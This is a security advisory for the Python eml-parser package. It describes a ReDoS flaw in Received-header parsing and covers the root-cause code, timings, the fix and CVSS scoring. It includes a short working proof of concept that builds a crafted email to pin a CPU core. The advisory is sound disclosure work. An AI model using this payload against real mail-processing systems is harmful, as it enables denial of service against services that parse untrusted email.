Skip to content

Algorithmic-complexity DoS (O(n^4) regex backtracking) in Received-header parsing

Moderate
sim0nx published GHSA-m4g8-47f9-h588 Sep 7, 2026

Package

pip eml-parser (pip)

Affected versions

<= 3.0.3

Patched versions

> 3.0.3

Description

Summary

eml_parser.routing.parserouting() dynamically builds a regex from up to four greedy .* groups (from (?P<from>.*)by (?P<by>.*)with (?P<with>.*)for (?P<for>.*)) terminated by an escaped literal of the date extracted from a normalized copy of the Received header. Because the date literal comes from the normalized text but is searched in the original line, a crafted header can make the trailing literal unmatchable; the search then fails at every start position only after exhaustively backtracking the four nested greedy groups — O(n^4) in header length. A single ~5.9 KB email pins one CPU core for ~12 seconds; doubling the input multiplies the cost ~25x, so a ~13 KB header takes minutes and a ~25 KB header effectively hangs the parse worker.

Details

Root cause: eml_parser/routing.py:140-148 (v3.0.3):

reg = ''
for item in tout:
    reg += item[1] + '(?P<' + item[1].strip() + '>.*)'   # e.g. 'from (?P<from>.*)'
if npdate:
    reg += eml_parser.regexes.escape_special_regex_chars.sub(r"""\\\1""", npdate)
reparse = re.compile(reg)
reparseg = reparse.search(line)   # searched in the ORIGINAL line

npdate is extracted from npline, a normalized copy of the header (spacing added around (, ), ; at routing.py:79-81; parenthesized text removed at line 82; whitespace collapsed at line 83), so it is not guaranteed to be a substring of line. An unbalanced ( in the date tail (e.g. +0000(comment) becomes ( comment in npline but stays (comment in line, making the mandatory trailing literal unmatchable.

Data flow: attacker-controlled Received: header (arbitrary length; the custom policy sets max_line_length=0) -> parser.py:352-355 (lowercased, whitespace-flattened, no size cap - unlike body text, which is sliced) -> parser.py:365 routing.parserouting(...) -> O(n^4) search. Every Received header is processed, multiplying the cost, and the behavior cannot be disabled via any EmlParser option.

Measured on Python 3.14 (identical with stdlib re and the optional regex module):

Segments Header size Wall time
20 1.4 KB 0.022 s
40 2.9 KB 0.43 s
80 5.8 KB 12 s
160 (extrapolated) 13 KB ~5 min

cProfile attributes 83% of wall time to re.Pattern.search called from routing.parserouting. The parse completes normally (no exception) - it is pure CPU exhaustion.

This is distinct from GHSA-g47v-rwmh-r9f8 (recursion DoS in get_raw_body_text(), fixed via MULTIPART_RECURSION_LIMIT - different function and mechanism) and from issue #48 (old url_regex_simple body-path hang; body regexes now run on ~600-char slices, capping impact - the Received-header path is unsliced).

PoC

import eml_parser

seg = 'from h{0}.example.com by mx{0}.example.com with esmtp for u{0}@example.com '
received = ''.join(seg.format(i) for i in range(80)) + ';Mon, 01 Jan 2024 00:00:00 +0000(comment'
# NB: unbalanced '(' in the date tail -> the normalized date literal never occurs in the
# searched line, so the dynamic 4-group greedy regex can never match and backtracks O(n^4).

eml = (
    'Received: ' + received + '\r\n'
    'From: attacker@evil.example\r\n'
    'To: victim@target.example\r\n'
    'Subject: poc\r\n'
    'Content-Type: text/plain\r\n'
    '\r\n'
    'hello\r\n'
).encode()

import time
t0 = time.perf_counter()
eml_parser.EmlParser().decode_email_bytes(eml)
print(f'{time.perf_counter() - t0:.2f}s')   # ~12 s for a 5.9 KB input

Observed on v3.0.3: eml size: 5887 bytes, decode_email_bytes() wall time: 12.33s, message parses fine. Affected APIs: decode_email, decode_email_bytes, parse_email.

Impact

Algorithmic-complexity denial of service. Any application that parses untrusted email with eml_parser (mail gateways, phishing-analysis and forensics pipelines, ticketing systems) can have a parser worker pinned by a single small email; an attacker sending a steady trickle of such messages keeps workers permanently busy (CPU exhaustion, queue backlog) even behind per-message timeouts. No crash, corruption, or information leak - availability impact only.

Reporter credit: Niranjan Ganesan (https://securityinsights.io/, @iam-niranjan)

Resolution

An algorithmic complexity vulnerability ($O(n^4)$ ReDoS) in eml_parser.routing.parserouting() was resolved.

Previously, parserouting() dynamically constructed a regex using multiple greedy .* capture groups appended with a normalized date string (npdate). Because npdate was extracted from a normalized copy of the Received header line, formatting mismatches between npdate and the un-normalized input line could render the trailing literal unmatchable. This forced the engine into exhaustive backtracking across nested greedy groups on unmatchable inputs, causing high CPU consumption and potential worker hangs on malicious headers.

Fix:

  1. Dynamic Regex Construction: Removed the static npdate suffix from the compiled pattern, replacing it with non-greedy field capture groups (.*?) terminated lazily by a semicolon or end-of-line anchor ((?:;|$)).
  2. Keyword Ordering Logic: Streamlined the routing keyword position detection to a single-pass str.find() search, removing $O(k^2)$ matrix evaluations.

These changes eliminate catastrophic backtracking and reduce processing time from $O(n^4)$ to linear $O(n)$ complexity.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

No known CVE

Weaknesses

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits